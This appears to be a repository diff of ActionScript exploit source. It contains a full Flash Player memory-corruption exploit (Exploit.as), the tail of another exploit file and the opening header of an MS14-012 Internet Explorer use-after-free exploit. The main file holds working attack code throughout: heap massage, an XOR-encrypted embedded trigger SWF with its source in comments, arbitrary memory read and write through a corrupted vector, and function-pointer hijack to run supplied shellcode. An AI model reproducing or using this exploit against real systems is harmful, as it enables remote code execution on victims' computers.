result_float.writeInt(_arg_2);
result_float.position = 0;
return (result_float.readDouble());
}
// vector is a Float vectors
// index is the position to read from the vector
// read the vector[index] float i retorna els dos enters
// ocupant les dues posiciones
private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
{
var byte_array:ByteArray = new ByteArray();
byte_array.endian = Endian.BIG_ENDIAN;
byte_array.writeDouble(vector[index]);
var vector_uint:Vector.<uint> = new Vector.<uint>(2);
byte_array.position = 0;
vector_uint[1] = byte_array.readUnsignedInt();
vector_uint[0] = byte_array.readUnsignedInt();
return (vector_uint);
}
private function CreateVectorThirtyTwoObjects():Vector.<Object>
{
var vector:* = new Vector.<Object>(32);
vector[0] = null;
vector[1] = null;
vector[2] = this.sound_object;
vector[3] = this.byte_array;
return (vector);
}
private function CreateVectorSixteenNumbers():Vector.<Number>
{
var vector:* = new Vector.<Number>(16);
vector[0] = 0;
vector[15] = 1;
return (vector);
}
}
}

View File

@ -0,0 +1,897 @@
//Compile: mxmlc.exe Exploit.as -o Exploit.swf
package
{
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.net.LocalConnection;
import flash.utils.Endian;
import flash.net.FileReference;
import __AS3__.vec.Vector;
import flash.system.Capabilities;
import flash.display.Loader;
import flash.utils.setTimeout;
import flash.display.LoaderInfo;
public class Exploit extends Sprite
{
var number_massage_vectors:uint = 0x18000;
var len_massage_vector:uint = 0x36;
var maxElementsPerPage:uint = 0xe00012;
var massage_array:Array;
var tweaked_vector;
var tweaked_vector_address;
var done:Boolean = false;
var receiver:LocalConnection;
// Embedded trigger, ActionScript source available at the end of this file as code comment.
var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134";
var key:uint = 3.627461843E9;
var shellcodeObj:Array;
public function Exploit() {
var trigger_decrypted:uint = 0;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
this.massage_array = new Array();
// Memory massage
i = 0;
while(i < this.number_massage_vectors)
{
this.massage_array[i] = new Vector.<int>(1);
i++;
}
i = 0;
while(i < this.number_massage_vectors)
{
this.massage_array[i] = new Vector.<int>(this.len_massage_vector);
this.massage_array[i][0] = 0x41414141;
i++;
}
var j:* = 0;
i = 0;
while(i < this.number_massage_vectors)
{
j = 0;
while(j < 32)
{
this.massage_array[i][j] = 0x41414141;
j++;
}
i++;
}
var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8);
i = 65536 + 6;
while(i < this.number_massage_vectors)
{
this.massage_array[i] = new Vector.<int>(this.len_massage_vector * 2);
this.massage_array[i][0] = 0x42424242;
i = i + k;
}
// Decompress/Decrypt trigger
this.receiver = new LocalConnection();
this.receiver.connect("toAS3");
this.receiver.client = this;
var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf);
trigger_byte_array.endian = Endian.LITTLE_ENDIAN;
trigger_byte_array.uncompress();
trigger_byte_array.position = 0;
i = 0;
while(i < trigger_byte_array.length / 4)
{
trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key;
trigger_byte_array.position = trigger_byte_array.position - 4;
trigger_byte_array.writeUnsignedInt(trigger_decrypted);
i++;
}
trigger_byte_array.position = 0;
// Trigger corruption
var trigger_loader:Loader = new Loader();
trigger_loader.loadBytes(trigger_byte_array);
// Handler to check for corruption
setTimeout(this.as2loaded,4000,[]);
}
function createByteArray(hex_string:String) : ByteArray {
var byte:String = null;
var byte_array:ByteArray = new ByteArray();
var hex_string_length:uint = hex_string.length;
var i:uint = 0;
while(i < hex_string_length)
{
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
byte_array.writeByte(parseInt(byte,16));
i = i + 2;
}
return byte_array;
}
// When param1.length > 0 it's called from the corruption trigger
// Else it's called because of the timeout trigger
public function as2loaded(param1:Array) : * {
var back_offset:* = undefined; // backward offset from the tweaked vector
var j:* = undefined;
var _loc15_:uint = 0;
var ninbets:Array = null;
var array_with_code:Array = null;
var address_code:uint = 0;
var _loc19_:uint = 0;
if(this.done == true)
{
return;
}
if(param1.length > 0)
{
this.done = true;
}
var corrupted_index:uint = 0;
var i:* = 0;
i = 0x10000 + 6;
// Search corrupted vector
while(i < this.number_massage_vectors)
{
if(this.massage_array[i].length != 2 * this.len_massage_vector)
{
if(this.massage_array[i].length != this.len_massage_vector)
{
corrupted_index = i;
this.massage_array[i][0] = 0x41424344;
break;
}
}
i++;
}
// throw Error if any vector has been corrupted
if(i == this.number_massage_vectors)
{
throw new Error("not found");
}
else // start the magic...
{
// Tweak the length for the vector next to the corrupted one
this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001;
// Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory
this.tweaked_vector = this.massage_array[corrupted_index + 1];
var offset_length = 0;
// Ensure tweaked vector length corruption, I guess the offset to the vector length
// changes between flash versions
if(this.tweaked_vector.length != 0x40000001)
{
this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001;
offset_length = 10;
}
if(param1.length > 0) // From the corruption trigger
{
// Fix the massage array of vectors, restores the corrupted vector and
// marks it as the last one.
back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87
j = 0;
/*
tweaked_vector->prior->prior, some data is overwritten, is used for search purposes
tweaked_vector[3fffffa7] = 0
tweaked_vector[3fffffa8] = 0
tweaked_vector[3fffffa9] = 1c0340
tweaked_vector[3fffffaa] = ffffffff
tweaked_vector[3fffffab] = 0
tweaked_vector[3fffffac] = 0
tweaked_vector[3fffffad] = 0
tweaked_vector[3fffffae] = 0
tweaked_vector[3fffffaf] = 0
tweaked_vector[3fffffb0] = 0
tweaked_vector[3fffffb1] = 0
tweaked_vector[3fffffb2] = 100
tweaked_vector[3fffffb3] = 0
tweaked_vector[3fffffb4] = 0
tweaked_vector[3fffffb5] = 0
tweaked_vector[3fffffb6] = 0
tweaked_vector[3fffffb7] = 100dddce
tweaked_vector[3fffffb8] = 0
tweaked_vector[3fffffb9] = 1df6000
tweaked_vector[3fffffba] = 1dc2380
tweaked_vector[3fffffbb] = 0
tweaked_vector[3fffffbc] = 10000
tweaked_vector[3fffffbd] = 70
tweaked_vector[3fffffbe] = 0
tweaked_vector[3fffffbf] = 4
tweaked_vector[3fffffc0] = 0
tweaked_vector[3fffffc1] = 1de7090
tweaked_vector[3fffffc2] = 4
tweaked_vector[3fffffc3] = 0
tweaked_vector[3fffffc4] = 0
tweaked_vector[3fffffc5] = 0
// tweaked_vector->prior
tweaked_vector[3fffffc6] = 36 // Length
tweaked_vector[3fffffc7] = 1dea000
tweaked_vector[3fffffc8] = 41414141
tweaked_vector[3fffffc9] = 41414141
tweaked_vector[3fffffca] = 41414141
tweaked_vector[3fffffcb] = 41414141
tweaked_vector[3fffffcc] = 41414141
tweaked_vector[3fffffcd] = 41414141
tweaked_vector[3fffffce] = 41414141
tweaked_vector[3fffffcf] = 41414141
tweaked_vector[3fffffd0] = 41414141
tweaked_vector[3fffffd1] = 41414141
tweaked_vector[3fffffd2] = 41414141
tweaked_vector[3fffffd3] = 41414141
tweaked_vector[3fffffd4] = 41414141
tweaked_vector[3fffffd5] = 41414141
tweaked_vector[3fffffd6] = 41414141
tweaked_vector[3fffffd7] = 41414141
tweaked_vector[3fffffd8] = 41414141
tweaked_vector[3fffffd9] = 41414141
tweaked_vector[3fffffda] = 41414141
tweaked_vector[3fffffdb] = 41414141
tweaked_vector[3fffffdc] = 41414141
tweaked_vector[3fffffdd] = 41414141
tweaked_vector[3fffffde] = 41414141
tweaked_vector[3fffffdf] = 41414141
tweaked_vector[3fffffe0] = 41414141
tweaked_vector[3fffffe1] = 41414141
tweaked_vector[3fffffe2] = 41414141
tweaked_vector[3fffffe3] = 41414141
tweaked_vector[3fffffe4] = 41414141
tweaked_vector[3fffffe5] = 41414141
tweaked_vector[3fffffe6] = 41414141
tweaked_vector[3fffffe7] = 41414141
tweaked_vector[3fffffe8] = 0
tweaked_vector[3fffffe9] = 0
tweaked_vector[3fffffea] = 0
tweaked_vector[3fffffeb] = 0
tweaked_vector[3fffffec] = 0
tweaked_vector[3fffffed] = 0
tweaked_vector[3fffffee] = 0
tweaked_vector[3fffffef] = 0
tweaked_vector[3ffffff0] = 0
tweaked_vector[3ffffff1] = 0
tweaked_vector[3ffffff2] = 0
tweaked_vector[3ffffff3] = 0
tweaked_vector[3ffffff4] = 0
tweaked_vector[3ffffff5] = 0
tweaked_vector[3ffffff6] = 0
tweaked_vector[3ffffff7] = 0
tweaked_vector[3ffffff8] = 0
tweaked_vector[3ffffff9] = 0
tweaked_vector[3ffffffa] = 0
tweaked_vector[3ffffffb] = 0
tweaked_vector[3ffffffc] = 0
tweaked_vector[3ffffffd] = 0
*/
while(j < back_offset)
{
this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j];
j++;
}
// tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata
this.tweaked_vector[0x40000000-1] = param1[back_offset + 1];
j = back_offset + 2;
// Modifies the tweaked vector content, and overflow the next ones, they just remain in good state:
/*
// tweaked vector content
tweaked_vector[0] = 41414141
tweaked_vector[1] = 41414141
tweaked_vector[2] = 41414141
tweaked_vector[3] = 41414141
tweaked_vector[4] = 41414141
tweaked_vector[5] = 41414141
tweaked_vector[6] = 41414141
tweaked_vector[7] = 41414141
tweaked_vector[8] = 41414141
tweaked_vector[9] = 41414141
tweaked_vector[a] = 41414141
tweaked_vector[b] = 41414141
tweaked_vector[c] = 41414141
tweaked_vector[d] = 41414141
tweaked_vector[e] = 41414141
tweaked_vector[f] = 41414141
tweaked_vector[10] = 41414141
tweaked_vector[11] = 41414141
tweaked_vector[12] = 41414141
tweaked_vector[13] = 41414141
tweaked_vector[14] = 41414141
tweaked_vector[15] = 41414141
tweaked_vector[16] = 41414141
tweaked_vector[17] = 41414141
tweaked_vector[18] = 41414141
tweaked_vector[19] = 41414141
tweaked_vector[1a] = 41414141
tweaked_vector[1b] = 41414141
tweaked_vector[1c] = 41414141
tweaked_vector[1d] = 41414141
tweaked_vector[1e] = 41414141
tweaked_vector[1f] = 41414141
tweaked_vector[20] = 0
tweaked_vector[21] = 0
tweaked_vector[22] = 0
tweaked_vector[23] = 0
tweaked_vector[24] = 0
tweaked_vector[25] = 0
tweaked_vector[26] = 0
tweaked_vector[27] = 0
tweaked_vector[28] = 0
tweaked_vector[29] = 0
tweaked_vector[2a] = 0
tweaked_vector[2b] = 0
tweaked_vector[2c] = 0
tweaked_vector[2d] = 0
tweaked_vector[2e] = 0
tweaked_vector[2f] = 0
tweaked_vector[30] = 0
tweaked_vector[31] = 0
tweaked_vector[32] = 0
tweaked_vector[33] = 0
tweaked_vector[34] = 0
tweaked_vector[35] = 0
// next to the tweaked vector
tweaked_vector[36] = 36
tweaked_vector[37] = 1dea000
tweaked_vector[38] = 41414141
tweaked_vector[39] = 41414141
tweaked_vector[3a] = 41414141
tweaked_vector[3b] = 41414141
tweaked_vector[3c] = 41414141
tweaked_vector[3d] = 41414141
tweaked_vector[3e] = 41414141
tweaked_vector[3f] = 41414141
tweaked_vector[40] = 41414141
tweaked_vector[41] = 41414141
tweaked_vector[42] = 41414141
tweaked_vector[43] = 41414141
tweaked_vector[44] = 41414141
tweaked_vector[45] = 41414141
tweaked_vector[46] = 41414141
tweaked_vector[47] = 41414141
tweaked_vector[48] = 41414141
tweaked_vector[49] = 41414141
tweaked_vector[4a] = 41414141
tweaked_vector[4b] = 41414141
tweaked_vector[4c] = 41414141
tweaked_vector[4d] = 41414141
tweaked_vector[4e] = 41414141
tweaked_vector[4f] = 41414141
tweaked_vector[50] = 41414141
tweaked_vector[51] = 41414141
tweaked_vector[52] = 41414141
tweaked_vector[53] = 41414141
tweaked_vector[54] = 41414141
tweaked_vector[55] = 41414141
tweaked_vector[56] = 41414141
tweaked_vector[57] = 41414141
tweaked_vector[58] = 0
tweaked_vector[59] = 0
tweaked_vector[5a] = 0
tweaked_vector[5b] = 0
tweaked_vector[5c] = 0
tweaked_vector[5d] = 0
tweaked_vector[5e] = 0
tweaked_vector[5f] = 0
tweaked_vector[60] = 0
tweaked_vector[61] = 0
tweaked_vector[62] = 0
tweaked_vector[63] = 0
tweaked_vector[64] = 0
tweaked_vector[65] = 0
tweaked_vector[66] = 0
tweaked_vector[67] = 0
tweaked_vector[68] = 0
tweaked_vector[69] = 0
tweaked_vector[6a] = 0
tweaked_vector[6b] = 0
tweaked_vector[6c] = 0
tweaked_vector[6d] = 0
// next -> next to the tweaked vector
tweaked_vector[6e] = 36
tweaked_vector[6f] = 1dea000
tweaked_vector[70] = 41414141
tweaked_vector[71] = 41414141
tweaked_vector[72] = 41414141
tweaked_vector[73] = 41414141
tweaked_vector[74] = 41414141
tweaked_vector[75] = 41414141
tweaked_vector[76] = 41414141
tweaked_vector[77] = 41414141
tweaked_vector[78] = 41414141
tweaked_vector[79] = 41414141
tweaked_vector[7a] = 41414141
tweaked_vector[7b] = 41414141
tweaked_vector[7c] = 41414141
tweaked_vector[7d] = 41414141
tweaked_vector[7e] = 41414141
tweaked_vector[7f] = 41414141
tweaked_vector[80] = 41414141
tweaked_vector[81] = 41414141
tweaked_vector[82] = 41414141
tweaked_vector[83] = 41414141
tweaked_vector[84] = 41414141
tweaked_vector[85] = 41414141
tweaked_vector[86] = 41414141
tweaked_vector[87] = 41414141
tweaked_vector[88] = 41414141
tweaked_vector[89] = 41414141
tweaked_vector[8a] = 41414141
tweaked_vector[8b] = 41414141
tweaked_vector[8c] = 41414141
tweaked_vector[8d] = 41414141
tweaked_vector[8e] = 41414141
tweaked_vector[8f] = 41414141
tweaked_vector[90] = 0
tweaked_vector[91] = 0
tweaked_vector[92] = 0
tweaked_vector[93] = 0
tweaked_vector[94] = 0
tweaked_vector[95] = 0
tweaked_vector[96] = 0
tweaked_vector[97] = 0
tweaked_vector[98] = 0
tweaked_vector[99] = 0
tweaked_vector[9a] = 0
tweaked_vector[9b] = 0
tweaked_vector[9c] = 0
tweaked_vector[9d] = 0
tweaked_vector[9e] = 0
tweaked_vector[9f] = 0
tweaked_vector[a0] = 0
tweaked_vector[a1] = 0
tweaked_vector[a2] = 0
tweaked_vector[a3] = 0
tweaked_vector[a4] = 0
tweaked_vector[a5] = 0
*/
while(j < param1.length)
{
this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j];
j++;
}
// next -> next to the tweaked vector
// tweaked_vector[a6] = 36
// tweaked_vector[a7] = 1dea000
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36
this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000
}
else // From the Timeout trigger; never reached on my tests.
{
_loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1];
this.tweaked_vector[0x3fffffff] = _loc15_;
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_;
this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector;
this.tweaked_vector[this.len_massage_vector + 1] = _loc15_;
this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_;
this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_;
this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector;
this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector;
}
this.massage_array[corrupted_index].length = 256; // :?
// Search backwards to find the massage array metadata
// It's used to disclose the tweaked vector address
i = 0;
var hint = 0;
while(true)
{
hint = this.tweaked_vector[0x40000000 - i];
if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1
{
break;
}
i++;
}
this.tweaked_vector_address = 0;
if(this.tweaked_vector[0x40000000 - i - 4] == 0)
{
throw new Error("error");
}
else
{
this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length;
// I have not been able to understand this tweak,
// Maybe not necessary at all...
i = 0;
hint = 0;
while(true)
{
hint = this.tweaked_vector[0x40000000 - i];
if(hint == 0x7e3f0004)
{
break;
}
i++;
}
this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff
// End of maybe not necessary tweak
var file_ref_array = new Array();
i = 0;
while(i < 64)
{
file_ref_array[i] = new FileReference();
i++;
}
var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address);
var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32);
// Get array related data, important to trigger the desired corruption to achieve command execution
ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address);
array_with_code = this.createCodeVectors(0x45454545, 0x90909090);
address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545);
this.fillCodeVectors(array_with_code, address_code);
this.tweaked_vector[7] = ninbets[0] + 0;
this.tweaked_vector[4] = ninbets[1];
this.tweaked_vector[0] = 4096;
this.tweaked_vector[1] = address_code & 0xfffff000;
// Corruption
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8);
// Get arbitrary execution
i = 0;
while(i < 64)
{
file_ref_array[i].cancel();
i++;
}
this.tweaked_vector[7] = address_code;
i = 0;
while(i < 64)
{
file_ref_array[i].cancel();
i++;
}
// Restore Function Pointer
this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup);
return;
}
}
}
// vector: tweaked vector with 0x40000001 length
// vector_address: address of tweaked vector
// address: address to read
function getMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint) : uint {
if(address >= vector_address)
{
return vector[(address - vector_address) / 4];
}
return vector[0x40000000 - (vector_address - address) / 4];
}
// vector: tweaked vector with 0x40000001 length
// vector_address: address of tweaked vector
// address: address to write
// value: value to write
function writeMemoryAt(vector:Vector.<int>, vector_address:uint, address:uint, value:uint) : * {
if(address >= vector_address)
{
vector[(address - vector_address) / 4] = value;
}
else
{
vector[0x40000000 - (vector_address - address) / 4] = value;
}
}
function getNinbets(vector:*, vector_address:*) : Array {
var _loc9_:uint = 0;
var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c);
var index_array_related_addr:uint = 0;
var _loc5_:uint = 0;
var _loc6_:uint = 0;
if(array_related_addr >= vector_address)
{
index_array_related_addr = (array_related_addr - vector_address) / 4;
}
else
{
index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4;
}
var _loc7_:uint = 0;
while(true)
{
index_array_related_addr--;
_loc9_ = vector[index_array_related_addr];
if(_loc9_ == 0xfff870ff)
{
_loc7_ = 2;
break;
}
if(_loc9_ == 0xf870ff01)
{
_loc7_ = 1;
break;
}
if(_loc9_ == 0x70ff016a)
{
_loc9_ = vector[index_array_related_addr + 1];
if(_loc9_ == 0xfc70fff8)
{
_loc7_ = 0;
break;
}
}
else
{
if(_loc9_ == 0x70fff870)
{
_loc7_ = 3;
break;
}
}
}
_loc5_ = vector_address + 4 * index_array_related_addr - _loc7_;
index_array_related_addr--;
var _loc8_:uint = vector[index_array_related_addr];
if(_loc8_ == 0x16a0424)
{
return [_loc5_,_loc6_];
}
if(_loc8_ == 0x6a042444)
{
return [_loc5_,_loc6_];
}
if(_loc8_ == 0x424448b)
{
return [_loc5_,_loc6_];
}
if(_loc8_ == 0xff016a04)
{
return [_loc5_,_loc6_];
}
_loc6_ = _loc5_ - 6;
while(true)
{
index_array_related_addr--;
_loc9_ = vector[index_array_related_addr];
if(_loc9_ == 0x850ff50)
{
if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483)
{
_loc7_ = 0;
break;
}
}
_loc9_ = _loc9_ & 0xffffff00;
if(_loc9_ == 0x50ff5000)
{
if(uint(vector[index_array_related_addr + 1]) == 0xcc48308)
{
_loc7_ = 1;
break;
}
}
_loc9_ = _loc9_ & 0xffff0000;
if(_loc9_ == 0xff500000)
{
if(uint(vector[index_array_related_addr + 1]) == 0xc4830850)
{
if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c)
{
_loc7_ = 2;
break;
}
}
}
_loc9_ = _loc9_ & 0xff000000;
if(_loc9_ == 0x50000000)
{
if(uint(vector[index_array_related_addr + 1]) == 0x830850ff)
{
if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4)
{
_loc7_ = 3;
break;
}
}
}
}
_loc5_ = vector_address + 4 * index_array_related_addr + _loc7_;
return [_loc5_,_loc6_];
}
// vector: tweaked vector with 0x40000001 length
// address: address of tweaked vector
function getFileReferenceLocation(vector:*, address:*) : uint {
var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28);
var _loc4_:uint = 0;
while(true)
{
_loc4_ = this.getMemoryAt(vector,address,flash_address + 8);
if(_loc4_ == 0x2a0)
{
break;
}
if(_loc4_ < 0x2a0)
{
flash_address = flash_address + 36;
}
else
{
flash_address = flash_address - 36;
}
}
var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12);
while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff)
{
if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff)
{
break;
}
file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8);
}
return file_ref_related_addr;
}
function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint {
var vector_length_read:uint = 0;
var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c);
while(true)
{
vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8);
if(vector_length_read == 2032) // code vector length
{
break;
}
vector_code_info_addr = vector_code_info_addr + 0x24;
}
var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc);
while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark)
{
vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8);
}
return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark
}
// Every vector in the array => 7f0 (header = 8; data => 0x7e8)
function createCodeVectors(mark:uint, nops:uint) : * {
var array:Array = new Array();
var i:* = 0;
while(i < 8)
{
array[i] = new Vector.<uint>(2032 / 4 - 8);
array[i][0] = mark;
array[i][1] = nops;
i++;
}
return array;
}
function fillCodeVectors(param1:Array, param2:uint) : * {
var i:uint = 0;
var sh:uint=1;
while(i < param1.length)
{
for(var u:String in shellcodeObj)
{
param1[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}
// Trigger's ActionScript
/*
// Action script...
// [Action in Frame 1]
var b = new flash.display.BitmapData(4, 7);
var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4);
var b2 = new flash.display.BitmapData(256, 512);
var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4);
var colors = [16777215, 16711680, 16776960, 52479];
var alphas = [0, 1, 1, 1];
var ratios = [0, 63, 126, 255];
var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false);
var cmf = new flash.filters.ColorMatrixFilter([]);
MyString2.setCMF(cmf);
MyString1.setGGF(ggf);
flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302);
zz = MyString1;
flash.display.BitmapData = zz;
arr = new Array();
var i = 0;
while (i < 8192)
{
arr[i] = new Number(0);
++i;
} // end while
var i = 100;
while (i < 8192)
{
arr[i] = "qwerty";
i = i + 8;
} // end while
k = filt.mapBitmap;
zz = MyString2;
flash.display.BitmapData = zz;
k = filt.mapBitmap;
cmf_matrix = cmf.matrix;
cmf_matrix[4] = 8192;
cmf_matrix[15] = 12.080810;
cmf.matrix = cmf_matrix;
ggf_colors = ggf.colors;
ggf_alphas = ggf.alphas;
mem = new Array();
var i = 0;
while (i < ggf_alphas.length)
{
ggf_alphas[i] = ggf_alphas[i] * 255;
++i;
} // end while
for (i = 0; i < ggf_colors.length; i++)
{
mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216;
} // end of for
ggf.colors = colors;
ggf.alphas = alphas;
ggf.ratios = ratios;
var lc = new LocalConnection();
lc.send("toAS3", "as2loaded", mem);
zz = cmf;
zz.resetMe("b", 1, 1, 1);
class MyString1 extends String
{
static var ggf;
function MyString(a,b)
{
super();
}
static function setGGF(myggf)
{
ggf = myggf;
}
static function getGGF()
{
return (MyString1.ggf);
}
}
class MyString2 extends String
{
static var cmf;
function MyString2(a,b)
{
super();
}
static function setCMF(mycmf)
{
cmf = mycmf;
}
static function getCMF()
{
return (MyString2.cmf);
}
}
*/

View File

@ -0,0 +1,519 @@
/*
* MS14-012 Internet Explorer CMarkup Use-After-Free
* Vendor Homepage: http://www.microsoft.com
* Version: IE 10
* Date: 2014-03-31
* Exploit Author: Jean-Jamil Khalife
* Tested on: Windows 7 SP1 x64 (fr, en)
* Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
* Home: http://www.hdwsec.fr
* Blog : http://www.hdwsec.fr/blog/
* MS14-012 / CVE-2014-0322
*
* Generation:
* c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
*
*/
package
{
